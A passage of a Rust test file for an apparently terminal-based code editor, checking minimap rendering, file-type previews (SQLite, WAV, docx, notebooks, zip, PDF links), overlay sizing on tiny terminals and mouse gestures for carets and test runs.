65325
65326
65327
65328
use super::*;
use crate::gradient::lerp_rgb;
use crossterm::event::{KeyCode, KeyEvent, KeyModifiers};

fn key(code: KeyCode, mods: KeyModifiers) -> KeyEvent {
    KeyEvent::new(code, mods)
}

/// Shell command that prints `probe` on its own line WITHOUT the typed
/// command line spelling the probe out.
///
/// The terminal end-to-end tests find their probe by searching the rendered
/// grid for it, but the shell echoes what was typed, so a literal
/// `printf '<probe>\n'` puts two matching rows on screen. Under load the echo
/// arrives first, the wait loop is satisfied by it, and the row search lands
/// on the echoed command: its quoting shifts the columns, and the selection
/// comes back as `"oft-e2e-638881\\n"` instead of the probe (issue #226).
/// Splitting the probe across two printf arguments leaves the echo carrying
/// only the fragments, so nothing but the OUTPUT can ever match.
fn probe_command(probe: &str) -> String {
    let (head, tail) = probe.split_at(1);
    format!("printf '%s%s\\n' '{head}' '{tail}'\r")
}

/// Run the probe command in the app's embedded terminal and wait until the
/// probe is on screen. Panics with the actual screen contents if it never
/// arrives, so a failure says what the terminal was showing instead of
/// unwrapping `None` several lines later.
///
/// The wait is load-scaled (#397): a real shell has to start, run the
/// command, and have the reader thread drain the bytes into the grid, and
/// what stretches that is contention from the rest of the suite, not this
/// test. The fixed 15s this replaced (#226 had raised it from 3s) is what a
/// quiet machine still gets at the floor; the captured failure had the probe
/// command echoed on screen and unanswered at 15s, a starved shell rather
/// than a broken one. `spawn_budget` rather than `await_spawned` so the
/// panic can keep showing the screen.
fn await_terminal_probe(app: &mut App, probe: &str) {
    app.terminal_mut()
        .write_input(probe_command(probe).as_bytes());
    let base = crate::test_budget::tests::TERMINAL_PROBE_BASE;
    let budget = crate::test_budget::spawn_budget(base);
    let started = std::time::Instant::now();
    while started.elapsed() < budget {
        if app.terminal().visible_text().contains(probe) {
            return;
        }
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    panic!(
        "the shell never printed the probe {probe:?} within {budget:?} ({base:?} base x{} total \
         for calibration and load); if this is a real failure it would also fail at 1x, so \
         re-run the full suite on the unmodified merge base under the same load before \
         suspecting your diff. Terminal showed:\n{}",
        budget.as_millis() / base.as_millis().max(1),
        app.terminal().visible_text()
    );
}

#[test]
fn minimap_rgba_paints_chars_skips_whitespace() {
    let mut e = crate::widgets::editor::Editor::new();
    // Two leading spaces then a glyph: indentation must read as bg, the glyph
    // in fg. Second (blank) line keeps the file at 2 rows so each maps to one
    // pixel row in a height-2 canvas.
    e.lines = vec![String::from("  x"), String::new()];
    let bg = (0u8, 0, 0);
    let fg = (200u8, 200, 200);
    let buf = e.minimap_rgba(4, 2, 2, bg, fg);
    let px = |x: u32, y: u32| {
        let i = ((y * 4 + x) * 4) as usize;
        (buf[i], buf[i + 1], buf[i + 2])
    };
    assert_eq!(px(0, 0), bg, "indentation stays background");
    assert_eq!(px(1, 0), bg, "indentation stays background");
    assert_eq!(px(2, 0), fg, "the glyph is painted in the default fg");
}

#[test]
fn minimap_goto_moves_the_cursor() {
    // The editor force-follows the cursor on render, so minimap navigation must
    // move the caret to the target line or the scroll would snap straight back
    // (the bug behind "clicking the minimap does nothing").
    let mut e = crate::widgets::editor::Editor::new();
    e.lines = (0..200).map(|i| format!("line {i}")).collect();
    e.goto_line_centered(100);
    assert_eq!(e.cursor_row, 100, "caret jumps to the clicked line");
    assert!(e.scroll <= 100, "viewport scrolls toward the target");
}

#[test]
fn minimap_short_file_does_not_stretch() {
    // Two lines into a tall (h=10) canvas with content_h=4: the lines occupy
    // the top 4 rows; the rest of the strip stays background (no stretching a
    // short file down the whole column).
    let mut e = crate::widgets::editor::Editor::new();
    e.lines = vec![String::from("x"), String::from("y")];
    let bg = (0u8, 0, 0);
    let fg = (200u8, 200, 200);
    let buf = e.minimap_rgba(1, 10, 4, bg, fg);
    let px = |y: u32| {
        let i = (y * 4) as usize;
        (buf[i], buf[i + 1], buf[i + 2])
    };
    assert_eq!(px(0), fg, "first line sits at the top");
    assert_eq!(
        px(8),
        bg,
        "rows past the content stay background, not stretched"
    );
}

#[test]
fn minimap_viewport_box_lightens_visible_rows_only() {
    // 1px-wide, 4px-tall black raster; viewport = top 2 of 4 lines.
    let base = vec![0u8; 4 * 4];
    let out = composite_minimap_viewport(
        &base,
        1,
        4,
        MinimapOverlay {
            top: 0,
            rows: 2,
            total: 4,
            light: false,
            selection: None,
            sel_rgb: (0, 0, 0),
            content_h: 4,
        },
    );
    let row = |y: usize| out[y * 4]; // R channel
    assert!(row(0) > 0, "a visible row is lightened toward white");
    assert!(row(1) > 0, "a visible row is lightened toward white");
    assert_eq!(row(3), 0, "an off-screen row is untouched");
}

#[test]
fn minimap_selection_band_tints_selected_rows() {
    // 1px-wide, 4px-tall black raster; rows 2..=3 selected in red, viewport is
    // the top row only, so the selection band shows on its own.
    let base = vec![0u8; 4 * 4];
    let out = composite_minimap_viewport(
        &base,
        1,
        4,
        MinimapOverlay {
            top: 0,
            rows: 1,
            total: 4,
            light: false,
            selection: Some((2, 3)),
            sel_rgb: (255, 0, 0),
            content_h: 4,
        },
    );
    let r = |y: usize| out[y * 4];
    assert!(r(2) > 0, "selected row picks up the selection color");
    assert!(r(3) > 0, "selected row picks up the selection color");
}

#[test]
fn minimap_rgba_to_png_roundtrips() {
    let png = rgba_to_png(vec![1u8; 2 * 2 * 4], 2, 2).expect("encode");
    assert_eq!(
        &png[1..4],
        b"PNG",
        "emits a PNG the inline-image path can use"
    );
}

/// Display label of a menu entry ("---" for a divider) — test helper for the
/// `MenuEntry`-based context menus.
fn menu_label(e: &MenuEntry) -> &str {
    match e {
        MenuEntry::Item { label, .. }
        | MenuEntry::Submenu { label, .. }
        | MenuEntry::Header(label) => label,
        MenuEntry::Separator => "---",
    }
}

/// Top-level labels of a menu, in order.
fn menu_labels(items: &[MenuEntry]) -> Vec<&str> {
    items.iter().map(menu_label).collect()
}

/// The action carried by the first `Item` with `label`, if any.
fn menu_action_of<'a>(items: &'a [MenuEntry], label: &str) -> Option<&'a MenuAction> {
    items.iter().find_map(|e| match e {
        MenuEntry::Item { label: l, action } if l == label => Some(action),
        _ => None,
    })
}

#[test]
fn explorer_boots_with_gradient_focus_under_black_theme() {
    // Regression: the explorer auto-focuses at startup, but the Black-theme
    // gradient border used to arm only on the first focus change because
    // `sync_focus_flags` never ran during construction. `App::new` now syncs
    // once before returning, so the initial focus already carries the gradient.
    let tmp = tempfile::tempdir().unwrap();
    let app = App::new(tmp.path().to_path_buf()).unwrap();
    assert_eq!(app.theme, crate::theme::Theme::BLACK);
    assert!(app.tree.focused, "explorer should boot focused");
    assert!(
        app.tree.focus_gradient,
        "Black-theme gradient border must arm at startup, not just after a focus change"
    );
}

#[test]
fn persistence_advisory_only_for_nonpersistent_remote_sessions() {
    // Remote session without dtach: warn on the status line. Remote-with-dtach
    // and any local session: nothing.
    assert!(super::remote_persistence_status(true, false).is_some());
    assert!(super::remote_persistence_status(true, true).is_none());
    assert!(super::remote_persistence_status(false, false).is_none());
    assert!(super::remote_persistence_status(false, true).is_none());
}

#[test]
fn sqlite_pages_step_at_batch_boundaries() {
    // #201 review: PageDown at the bottom of a full batch fetches the
    // next page; PageUp at the top returns.
    let tmp = tempfile::tempdir().unwrap();
    let p = tmp.path().join("big.db");
    {
        let conn = rusqlite::Connection::open(&p).unwrap();
        conn.execute_batch("CREATE TABLE t (n INTEGER);").unwrap();
        let mut ins = conn.prepare("INSERT INTO t VALUES (?1)").unwrap();
        for i in 0..700 {
            ins.execute([i]).unwrap();
        }
    }
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&p).unwrap();
    let view = app.editor.sheet.as_ref().unwrap();
    assert_eq!(view.sheets[0].row_count(), 500);
    assert!(view.sheets[0].name.contains("rows 1-500, more follow"));

    app.handle_sheet_key(key(KeyCode::End, KeyModifiers::SUPER));
    app.handle_sheet_key(key(KeyCode::PageDown, KeyModifiers::NONE));
    let view = app.editor.sheet.as_ref().unwrap();
    assert_eq!(view.sheets[0].row_count(), 200, "second page loaded");
    assert!(
        view.sheets[0].name.ends_with("rows 501-700"),
        "{}",
        view.sheets[0].name
    );
    assert_eq!(view.sheets[0].cell(0, 0), "500", "first value of page 2");

    app.handle_sheet_key(key(KeyCode::Home, KeyModifiers::SUPER));
    app.handle_sheet_key(key(KeyCode::PageUp, KeyModifiers::NONE));
    let view = app.editor.sheet.as_ref().unwrap();
    assert!(
        view.sheets[0].name.contains("rows 1-500"),
        "{}",
        view.sheets[0].name
    );
}

#[test]
fn media_file_opens_as_an_info_card_and_save_refuses() {
    // #183: a WAV opens as the rendered info card (duration, rates), a
    // save refuses (#185 class), and junk with a media extension falls
    // through to the binary path instead of erroring.
    use std::io::Write as _;
    let tmp = tempfile::tempdir().unwrap();
    let p = tmp.path().join("tone.wav");
    let mut f = std::fs::File::create(&p).unwrap();
    let byte_rate = 16000u32;
    let data = vec![0u8; byte_rate as usize]; // 1 second
    let mut hdr = Vec::new();
    hdr.extend_from_slice(b"RIFF");
    hdr.extend_from_slice(&((36 + data.len()) as u32).to_le_bytes());
    hdr.extend_from_slice(b"WAVEfmt ");
    hdr.extend_from_slice(&16u32.to_le_bytes());
    hdr.extend_from_slice(&1u16.to_le_bytes());
    hdr.extend_from_slice(&1u16.to_le_bytes());
    hdr.extend_from_slice(&8000u32.to_le_bytes());
    hdr.extend_from_slice(&byte_rate.to_le_bytes());
    hdr.extend_from_slice(&2u16.to_le_bytes());
    hdr.extend_from_slice(&16u16.to_le_bytes());
    hdr.extend_from_slice(b"data");
    hdr.extend_from_slice(&(data.len() as u32).to_le_bytes());
    f.write_all(&hdr).unwrap();
    f.write_all(&data).unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&p).unwrap();
    let md = app
        .editor
        .markdown_preview
        .as_ref()
        .expect("media opens as the info card");
    assert!(md.media && md.doc_path.is_some());
    let all: String = md
        .lines
        .iter()
        .flat_map(|l| l.spans.iter())
        .map(|s| s.content.as_ref())
        .collect();
    assert!(all.contains("tone.wav"), "{all}");
    assert!(all.contains("8000 Hz"), "{all}");
    let before = std::fs::read(&p).unwrap();
    assert!(app.editor.save_to_disk().is_err(), "info card save refuses");
    assert_eq!(std::fs::read(&p).unwrap(), before);

    // Junk wearing .mp3: never a dead-end.
    let junk = tmp.path().join("noise.mp3");
    std::fs::write(&junk, b"\x00\x01 not audio").unwrap();
    let mut e = crate::widgets::editor::Editor::new();
    e.open(&junk).unwrap();
    assert!(e.hex.is_some(), "junk media falls to hex");
}

#[test]
fn docx_opens_as_a_rendered_document() {
    // #181: a docx renders headings/emphasis through the preview
    // machinery; the text side is a stub (Reopen as Text routes the zip
    // container onward, never a mojibake buffer).
    use std::io::Write as _;
    let tmp = tempfile::tempdir().unwrap();
    let p = tmp.path().join("memo.docx");
    let f = std::fs::File::create(&p).unwrap();
    let mut z = zip::ZipWriter::new(f);
    let o =
        zip::write::SimpleFileOptions::default().compression_method(zip::CompressionMethod::Stored);
    z.start_file("word/document.xml", o).unwrap();
    z.write_all(
        br#"<w:document xmlns:w="x"><w:body>
<w:p><w:pPr><w:pStyle w:val="Heading1"/></w:pPr><w:r><w:t>Memo Title</w:t></w:r></w:p>
<w:p><w:r><w:t>memo body</w:t></w:r></w:p></w:body></w:document>"#,
    )
    .unwrap();
    z.finish().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&p).unwrap();
    let md = app
        .editor
        .markdown_preview
        .as_ref()
        .expect("docx opens rendered");
    assert!(md.doc_path.is_some());
    let all: String = md
        .lines
        .iter()
        .flat_map(|l| l.spans.iter())
        .map(|s| s.content.as_ref())
        .collect();
    assert!(all.contains("Memo Title"), "{all}");
    assert!(all.contains("memo body"));
    // #200 review: the text side is a stub - a save must refuse at the
    // choke point (#185 class), leaving the document untouched.
    let before = std::fs::read(&p).unwrap();
    assert!(
        app.editor.save_to_disk().is_err(),
        "doc preview save refuses"
    );
    assert_eq!(std::fs::read(&p).unwrap(), before, "document intact");
}

#[test]
fn notebook_opens_rendered_with_reopen_as_text_for_the_json() {
    // #180: an .ipynb opens as the rendered view over its JSON text;
    // Reopen as Text shows the raw JSON and sticks.
    let tmp = tempfile::tempdir().unwrap();
    let p = tmp.path().join("run.ipynb");
    std::fs::write(
        &p,
        r##"{"nbformat":4,"metadata":{"kernelspec":{"language":"python"}},"cells":[
            {"cell_type":"markdown","source":["# Report"]},
            {"cell_type":"code","execution_count":3,"source":["x = 1"],
             "outputs":[{"output_type":"stream","text":["done\n"]}]}]}"##,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&p).unwrap();
    let md = app
        .editor
        .markdown_preview
        .as_ref()
        .expect("notebook opens rendered");
    assert!(md.notebook);
    let all: String = md
        .lines
        .iter()
        .flat_map(|l| l.spans.iter())
        .map(|s| s.content.as_ref())
        .collect();
    assert!(all.contains("Report"));
    assert!(all.contains("In [3]:"));
    assert!(all.contains("done"));

    // Reopen as Text: the raw JSON, sticky across a same-path reload.
    app.editor.force_text = true;
    app.editor.open(&p).unwrap();
    assert!(app.editor.markdown_preview.is_none());
    assert!(app.editor.lines[0].contains("nbformat"));
    app.editor.open(&p).unwrap();
    assert!(app.editor.markdown_preview.is_none(), "sticky");
    // And back to the render.
    app.editor.force_text = false;
    app.editor.open(&p).unwrap();
    assert!(app.editor.markdown_preview.is_some());
}

#[test]
fn archive_tab_lists_members_and_enter_opens_an_extracted_copy() {
    // #179 end-to-end: a zip opens as the member browser, Enter on a
    // text member extracts it to scratch and opens it through the
    // normal dispatch.
    use std::io::Write as _;
    let tmp = tempfile::tempdir().unwrap();
    let zp = tmp.path().join("bundle.zip");
    let f = std::fs::File::create(&zp).unwrap();
    let mut z = zip::ZipWriter::new(f);
    let opts =
        zip::write::SimpleFileOptions::default().compression_method(zip::CompressionMethod::Stored);
    z.start_file("notes/inner.txt", opts).unwrap();
    z.write_all(b"member text").unwrap();
    z.finish().unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&zp).unwrap();
    let view = app.editor.archive.as_ref().expect("zip opens as a browser");
    assert_eq!(view.entries.len(), 1);
    assert_eq!(view.entries[0].path, "notes/inner.txt");

    app.handle_archive_key(key(KeyCode::Enter, KeyModifiers::NONE));
    assert!(
        app.editor.archive.is_none(),
        "the member opened in the editor: {}",
        app.status
    );
    assert_eq!(app.editor.lines, vec!["member text".to_string()]);
}

#[test]
fn misnamed_zip_routes_to_the_archive_browser_by_content() {
    use std::io::Write as _;
    let tmp = tempfile::tempdir().unwrap();
    let p = tmp.path().join("data.bin");
    let f = std::fs::File::create(&p).unwrap();
    let mut z = zip::ZipWriter::new(f);
    let opts =
        zip::write::SimpleFileOptions::default().compression_method(zip::CompressionMethod::Stored);
    z.start_file("x.txt", opts).unwrap();
    z.write_all(b"in").unwrap();
    z.finish().unwrap();
    let mut e = crate::widgets::editor::Editor::new();
    e.open(&p).unwrap();
    assert!(
        e.archive.is_some(),
        "sniffed zip lands in the browser, not hex"
    );
}

#[test]
fn markdown_preview_computes_image_anchor_frame_truth() {
    // #176: the preview render must publish each image's wrapped visual
    // row and the paragraph's text area, which the overlay driver
    // consumes.
    let tmp = tempfile::tempdir().unwrap();
    image::RgbaImage::new(100, 50)
        .save(tmp.path().join("pic.png"))
        .unwrap();
    std::fs::write(
        tmp.path().join("doc.md"),
        "# Title\n\nintro text\n\n![p](pic.png)\n\ntail",
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&tmp.path().join("doc.md")).unwrap();
    assert!(app.editor.toggle_markdown_preview());
    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let md = app.editor.markdown_preview.as_ref().unwrap();
    assert_eq!(md.images.len(), 1);
    assert_eq!(md.anchor_rows.len(), 1);
    assert!(
        md.anchor_rows[0] >= 3,
        "the anchor sits below the heading and intro: {}",
        md.anchor_rows[0]
    );
    assert!(md.last_area.width > 0, "frame-truth area published");
    // The reserved rows are blank in the paint: no placeholder glyph.
    let mut all = String::new();
    for y in 0..30 {
        for x in 0..100 {
            all.push_str(term.backend().buffer()[(x, y)].symbol());
        }
    }
    assert!(
        !all.contains("(pic.png)"),
        "no labelled placeholder for a local image"
    );
}

#[test]
fn terminal_warning_renders_inside_a_narrow_frame_without_panicking() {
    // #192: the modal's width clamp had a lower bound of 50, so any
    // terminal narrower than that produced a rect wider than the buffer
    // and the paint panicked at launch.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.pending_terminal_warning = true;
    let backend = ratatui::backend::TestBackend::new(46, 12);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    // And pathologically small: still no panic.
    let backend = ratatui::backend::TestBackend::new(8, 3);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
}

/// A context menu longer than the terminal is tall, or on a terminal under
/// 18 columns, renders clipped instead of panicking.
#[test]
fn a_context_menu_bigger_than_the_terminal_renders_without_panicking() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let items: Vec<(String, MenuAction)> = (0..30)
        .map(|i| (format!("item {i}"), MenuAction::Create(CreateKind::File)))
        .collect();
    app.context_menu = Some(ContextMenu::flat((2, 2), items, tmp.path().to_path_buf()));
    for (w, h) in [(80, 12), (12, 30), (8, 3)] {
        let backend = ratatui::backend::TestBackend::new(w, h);
        let mut term = ratatui::Terminal::new(backend).unwrap();
        term.draw(|f| app.render(f)).unwrap();
        let r = app.menu_rect().unwrap();
        assert!(r.width <= w && r.height <= h, "{r:?} in {w}x{h}");
    }
}

/// Overlays on a terminal smaller than their minimum size: `clamp(40, w)`
/// panics when the width is under 40, and a confirm dialog's 50-column
/// floor built a rect outside the buffer. A phone in portrait or a small
/// tmux split is enough.
#[test]
fn overlays_render_on_a_tiny_terminal_without_panicking() {
    let tmp = tempfile::tempdir().unwrap();
    let draw = |app: &mut App, w: u16, h: u16| {
        let backend = ratatui::backend::TestBackend::new(w, h);
        let mut term = ratatui::Terminal::new(backend).unwrap();
        term.draw(|f| app.render(f)).unwrap();
    };
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_command_palette();
    draw(&mut app, 36, 20);
    draw(&mut app, 80, 9);
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_file_finder();
    draw(&mut app, 36, 20);
    draw(&mut app, 80, 9);
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.pending_discard = Some(PendingDiscard {
        rel_path: String::from("a.txt"),
        untracked: false,
        staged: false,
    });
    draw(&mut app, 45, 12);
    draw(&mut app, 45, 5);
    draw(&mut app, 8, 3);
}

#[test]
fn terminal_warning_swallows_a_key_and_dismisses_for_the_session() {
    // While the unsupported-terminal nudge is up, any non-D key dismisses it
    // for this session and is swallowed so it never reaches the editor below.
    // Uses a plain letter so nothing is persisted to the real prefs file.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.pending_terminal_warning = true;
    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    assert!(
        !app.pending_terminal_warning,
        "any key should dismiss the nudge for this session"
    );
}

#[test]
fn caret_move_clears_lsp_occurrence_tints_and_edits_already_did() {
    // The occurrences tick keeps a resting caret's tints and drops them the
    // moment the caret moves; a reply for the old spot must also be dropped
    // (the in-flight request is cancelled on move).
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("occ.txt");
    std::fs::write(&file, "one two\nthree\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_at(&file, 0, 0).unwrap();
    app.tick_occurrences(); // observe the caret's resting spot
    app.editor
        .apply_occurrences(vec![crate::lsp::manager::OccurrenceItem {
            start_line: 0,
            start_char: 0,
            end_line: 0,
            end_char: 3,
            write: false,
        }]);
    app.tick_occurrences();
    assert_eq!(
        app.editor.occurrence_count_for_test(),
        1,
        "a resting caret must keep its tints across ticks"
    );
    app.editor.cursor_col = 4;
    let changed = app.tick_occurrences();
    assert!(changed, "the clearing tick must report a redraw");
    assert_eq!(
        app.editor.occurrence_count_for_test(),
        0,
        "moving the caret must drop the old symbol's tints"
    );
}

/// SGR mouse reporting carries only shift/meta/ctrl — there is no super bit
/// (crossterm `parse_cb`), so Cmd+click and Option+click are the same event and
/// Go to Definition cannot share ALT with VS Code's multi-cursor. ALT is the
/// caret modifier; CTRL is go-to, matching the terminal pane's file/URL click.
#[test]
fn alt_click_adds_a_caret_and_ctrl_click_goes_to_definition() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("t.rs");
    std::fs::write(&f, "fn main() {}\nlet x = 1;\nlet y = 2;\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&f).unwrap();
    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();

    // A body column clear of the gutter, on a different row from the caret.
    let col = app.editor.last_inner.x + 8;
    let row = app.editor.last_inner.y + 2;

    let mut alt = mouse(MouseEventKind::Down(MouseButton::Left), col, row);
    alt.modifiers = KeyModifiers::ALT;
    app.handle_mouse(alt);
    assert!(
        !app.editor.carets.is_empty(),
        "Alt+click must add a secondary caret, not go to definition"
    );

    // Ctrl+click is go-to-definition. With no language server attached the
    // jump cannot land, so what is pinned is that it does NOT add a caret.
    let before = app.editor.carets.len();
    let mut ctrl = mouse(MouseEventKind::Down(MouseButton::Left), col, row + 1);
    ctrl.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(ctrl);
    assert_eq!(
        app.editor.carets.len(),
        before,
        "Ctrl+click is Go to Definition and must never add a caret"
    );
}

#[test]
fn shift_alt_drag_starts_a_column_selection() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("t.rs");
    std::fs::write(&f, "aaaaaaaa\nbbbbbbbb\ncccccccc\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&f).unwrap();
    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();

    // Clear of the gutter: the sign margin / line-number columns are not
    // buffer positions, so begin_box_select would refuse there.
    let col = app.editor.last_inner.x + 8;
    let row = app.editor.last_inner.y;
    let mut down = mouse(MouseEventKind::Down(MouseButton::Left), col, row);
    down.modifiers = KeyModifiers::ALT | KeyModifiers::SHIFT;
    app.handle_mouse(down);
    assert!(
        app.editor.box_selecting(),
        "Shift+Alt press must anchor a column selection"
    );
    // Drag DOWN AND ACROSS. A drag that only moves vertically produces
    // zero-width selections on every row, which an implementation that ignored
    // the anchor column entirely would also satisfy.
    let mut drag = mouse(MouseEventKind::Drag(MouseButton::Left), col + 3, row + 2);
    drag.modifiers = KeyModifiers::ALT | KeyModifiers::SHIFT;
    app.handle_mouse(drag);
    assert!(
        app.editor.carets.len() >= 2,
        "Shift+Alt+drag must build a column of carets, got {}",
        app.editor.carets.len()
    );
    // The head row's span lives in `selection`; the rows above it are carets.
    // Every one must cover the SAME three columns — that is what makes it a
    // column selection rather than a stack of bare cursors.
    let head = app
        .editor
        .selection
        .expect("the head row must span columns");
    assert_eq!(
        head.head.1 - head.anchor.1,
        3,
        "head row must span 3 columns"
    );
    for c in &app.editor.carets {
        assert_eq!(
            (c.anchor.1, c.head.1),
            (head.anchor.1, head.head.1),
            "every row of a column selection covers the same columns"
        );
    }
}

#[test]
fn alt_clicking_the_gutter_play_glyph_debugs_that_test() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(
        tmp.path().join("Cargo.toml"),
        "[package]\nname = \"t\"\nversion = \"0.0.0\"\n",
    )
    .unwrap();
    let f = tmp.path().join("t.rs");
    std::fs::write(&f, "#[test]\nfn my_case() { assert!(true); }\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&f).unwrap();
    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    // Occupy the build slot so the debug route reports it instead of detaching
    // a real `cargo test --no-run` into a TempDir this test is about to delete.
    let (_tx, rx) = std::sync::mpsc::channel();
    app.pending_test_debug = Some((rx, String::from("other"), tmp.path().to_path_buf()));

    let col = app.editor.last_inner.x;
    let row = app.editor.last_inner.y + 1;
    let mut ev = mouse(MouseEventKind::Down(MouseButton::Left), col, row);
    ev.modifiers = KeyModifiers::ALT;
    app.handle_mouse(ev);
    // The ALT guard at the top of the Down(Left) arm returns ~1000 lines before
    // the gutter's own hit-test, so without an explicit glyph check there the
    // documented gesture reaches Go to Definition instead of the debugger.
    // Either debug status proves the click routed to the debugger; which one
    // depends on whether the host has an lldb-dap installed, and a machine
    // without one must not fail a test about a mouse gesture.
    assert!(
        app.status == "A test binary is already building"
            || app.status.starts_with("lldb-dap not found"),
        "Alt+click on the gutter play glyph must debug that test, got {:?}",
        app.status
    );
}

#[test]
fn clicking_the_gutter_play_glyph_runs_that_test() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    // A real Cargo marker: the run gestures refuse a workspace no enabled
    // runner claims, and this test pins the click-to-run wiring, not that.
    std::fs::write(
        tmp.path().join("Cargo.toml"),
        "[package]\nname = \"t\"\nversion = \"0.0.0\"\n",
    )
    .unwrap();
    let f = tmp.path().join("t.rs");
    std::fs::write(&f, "#[test]\nfn my_case() { assert!(true); }\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&f).unwrap();
    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    // The play glyph sits in the sign margin on `fn my_case`'s row (buffer
    // line 1 -> second content row). Drive the REAL mouse dispatch so a
    // splitter grab zone or click-ordering regression fails this test.
    let col = app.editor.last_inner.x;
    let row = app.editor.last_inner.y + 1;
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    assert_eq!(
        app.status, "Running test my_case",
        "the glyph click must start that test by name"
    );
}

/// A minimal two-page PDF whose page 1 carries the text "go to two" under a
/// GoTo link annotation targeting page 2. Hand-assembled (correct xref
/// offsets included) so the test needs no pdflatex, only poppler to read it.
fn two_page_pdf_with_internal_link() -> Vec<u8> {
    let s1 = b"BT /F1 12 Tf 20 50 Td (go to two) Tj ET";
    let s2 = b"BT /F1 12 Tf 20 50 Td (second page) Tj ET";
    let objs: Vec<Vec<u8>> = vec![
        b"<< /Type /Catalog /Pages 2 0 R >>".to_vec(),
        b"<< /Type /Pages /Kids [3 0 R 5 0 R] /Count 2 >>".to_vec(),
        b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 100] /Contents 4 0 R \
           /Resources << /Font << /F1 6 0 R >> >> /Annots [7 0 R] >>"
            .to_vec(),
        [
            format!("<< /Length {} >>\nstream\n", s1.len()).into_bytes(),
            s1.to_vec(),
            b"\nendstream".to_vec(),
        ]
        .concat(),
        b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 100] /Contents 8 0 R \
           /Resources << /Font << /F1 6 0 R >> >> >>"
            .to_vec(),
        b"<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>".to_vec(),
        b"<< /Type /Annot /Subtype /Link /Rect [18 44 92 64] /Border [0 0 0] \
           /A << /S /GoTo /D [5 0 R /Fit] >> >>"
            .to_vec(),
        [
            format!("<< /Length {} >>\nstream\n", s2.len()).into_bytes(),
            s2.to_vec(),
            b"\nendstream".to_vec(),
        ]
        .concat(),
    ];
    let mut out = b"%PDF-1.4\n".to_vec();
    let mut offsets = Vec::new();
    for (i, body) in objs.iter().enumerate() {
        offsets.push(out.len());
        out.extend_from_slice(format!("{} 0 obj\n", i + 1).as_bytes());
        out.extend_from_slice(body);
        out.extend_from_slice(b"\nendobj\n");
    }
    let xref = out.len();
    out.extend_from_slice(format!("xref\n0 {}\n", objs.len() + 1).as_bytes());
    out.extend_from_slice(b"0000000000 65535 f \n");
    for off in &offsets {
        out.extend_from_slice(format!("{off:010} 00000 n \n").as_bytes());
    }
    out.extend_from_slice(
        format!(
            "trailer\n<< /Size {} /Root 1 0 R >>\nstartxref\n{xref}\n%%EOF\n",
            objs.len() + 1
        )
        .as_bytes(),
    );
    out
}

/// The user's gesture end to end: a PDF preview is on screen and a click on
/// a link flips to its target page — through the REAL mouse dispatch, the
/// real overlay geometry from a rendered frame, and real poppler extraction.
#[test]
fn clicking_an_internal_pdf_link_flips_to_its_page() {
    use crossterm::event::{MouseButton, MouseEventKind};
    if crate::pdf::detect_backend() != Some(crate::pdf::PdfBackend::PdftoppmCli)
        || crate::pdf::page_links(std::path::Path::new("/nonexistent"), 1)
            .err()
            .is_some_and(|e| e.to_string().contains("install poppler"))
    {
        eprintln!("skipping: poppler (pdftoppm + pdftohtml) not installed");
        return;
    }
    let tmp = tempfile::tempdir().unwrap();
    let pdf = tmp.path().join("linked.pdf");
    std::fs::write(&pdf, two_page_pdf_with_internal_link()).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // A real terminal would have reported these during startup; the overlay
